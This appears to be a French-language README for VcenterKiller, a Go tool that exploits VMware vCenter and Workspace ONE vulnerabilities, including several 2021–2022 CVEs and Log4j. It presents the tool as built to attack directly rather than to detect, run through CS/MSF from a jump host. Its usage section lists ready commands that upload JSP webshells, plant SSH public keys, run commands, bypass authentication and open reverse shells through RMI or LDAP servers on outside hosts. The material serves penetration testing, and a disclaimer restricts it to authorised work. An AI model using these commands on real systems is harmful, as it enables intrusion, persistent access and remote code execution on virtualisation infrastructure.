VcenterKiller

-1. Attention

Si vous montez un environnement de vulnérabilité en local, l'utilisation de vckiller pour vérifier Log4j échouera généralement, car en mode NAT sous VMware, l'interface réseau sortante du module de vérification sera détectée comme 127.0.0.1, ce qui fera que le serveur LDAP ciblé deviendra 127.0.0.1, et la vérification échouera 😏.

0. Lecture obligatoire

Si vous rencontrez un bug, veuillez soumettre une issue. Cet outil a simplement été conçu pour la commodité, il n'a rien de révolutionnaire.

1. Qu'est-ce que c'est ?

Un outil de vérification complet pour Vcenter, incluant les CVE les plus courantes : CVE-2021-21972, CVE-2021-21985 et CVE-2021-22005. Il offre les fonctionnalités de téléversement de webshell en un clic, d'exécution de commandes ou de téléversement de clé publique et de connexion SSH, ainsi que la détection et l'exploitation de la vulnérabilité Apache Log4j CVE-2021-44228 sur Vcenter, par exemple l'exécution de commandes avec retour (nécessite un serveur LDAP malveillant). Maintenant, plus besoin de lancer un serveur LDAP séparé. J'ai adapté une méthode d'exploitation à partir de l'outil jndi-injection. Vcenter utilise Tomcat comme middleware, utilisez simplement la chaîne d'exploitation TomcatBypass.

2. Son positionnement

Les Vcenter sont généralement placés dans le réseau interne, et les caractéristiques des vulnérabilités sont également très répandues – des outils comme fscan les détectent rapidement. VcenterKiller n'est donc pas destiné à détecter si une cible est vulnérable, mais à tenter directement l'exploitation. Il est généralement exécuté via CS/MSF sur un jump host. Les sorties superflues ont donc été supprimées.

Pourquoi Go ? Parce que Python est pratique à écrire mais pénible à utiliser (dépendances diverses, binaire volumineux) et que C# ne peut pas être multiplateforme – j'ai abandonné en cours de route.

3. Utilisation

go build -o main.exe

./main.exe -u https://192.168.1.1 -m 21985 -c whoami
./main.exe -u https://192.168.1.1 -m 22005 -f test.jsp
./main.exe -u https://192.168.1.1 -m 21972 -f test.jsp
./main.exe -u https://192.168.1.1 -m 21972 -f id_rsa.pub -t ssh // téléverser une clé publique
./main.exe -u https://192.168.1.1 -m 21985 -t rshell -r rmi://xx.xx.xx.xx:1099/xx
./main.exe -u https://192.168.1.1 -m log4center -t scan // scanner log4j
./main.exe -u https://192.168.1.1 -m log4center -t exec -r ldap://xx.xx.xx.xx:1389 -c whoami // peut aussi ne pas spécifier de serveur ldap
./main.exe -u https://xx.xx.com -m 22954 whoami
./main.exe -u https://xx.xx.com -m 22972 // obtenir le cookie
./main.exe -u https://xx.xx.com -m 31656 // si CVE-2022-22972 ne fonctionne pas, essayez CVE-2022-31656

4. Avertissement

Cet outil est destiné uniquement aux activités de sécurité légitimes et autorisées au sein d'une entreprise, comme les exercices d'attaque/défense internes, la vérification de vulnérabilités et les re-tests. Si vous souhaitez tester la fonctionnalité de cet outil, veuillez configurer vous-même un environnement de test (lab).

En utilisant cet outil pour des tests, vous devez vous assurer que cette action est conforme aux lois locales et que vous disposez des autorisations nécessaires. N'utilisez pas cet outil sur des cibles non autorisées.

Si vous commettez un acte illégal lors de l'utilisation de cet outil, vous en assumerez seul les conséquences. Nous déclinons toute responsabilité légale ou connexe.

5. Journal des modifications

V1.0  Première version
V1.1  Ajout de la fonction de reverse shell via RMI pour CVE-2021-21985, à condition de lancer un serveur RMI (par exemple jndi-injection-exploit)
V1.2  Ajout de la détection et de la vérification de Log4j sur Vcenter
V1.3  Ajout des fonctionnalités de vérification de vulnérabilités pour Vmware WorkSpace One Access : CVE-2022-22954 (exécution de commandes à distance) ; CVE-2022-22972 et CVE-2022-31656 (contournement d'authentification)
V1.3.1 Correction d'un problème où le port était ignoré lors de la détection de Log4j (certains services modifient le port 443 par défaut)
V1.3.2 Modification de la méthode d'exploitation de Log4j : exécution de commande avec retour via TomcatBypassEcho. Testé sur Vcenter 7.0 Linux.
V1.3.3 Ajout de la distinction entre les versions 6.7 et 7.0. La version 7.0 nécessite TomcatBypass, tandis que la version 6.7 utilise simplement Basic.
V1.3.4 Modification de la logique de vérification de Log4j : désormais 5 tentatives avec différentes payloads aléatoires. Si un retour est obtenu, il s'affiche ; sinon, rien.
V1.3.5 Suppression de la dépendance à Jndi-Injection-Exploit pour Log4j. Possibilité d'exécuter des commandes directement avec retour.
V1.3.6 Modification de la fonction SSH pour la CVE-21972 et optimisation d'autres détails.
V1.3.7 Ajout de la fonction proxy (HTTP et SOCKS).
V1.3.8 Pas encore commencé. Envisage d'ajouter d'autres fonctionnalités...
...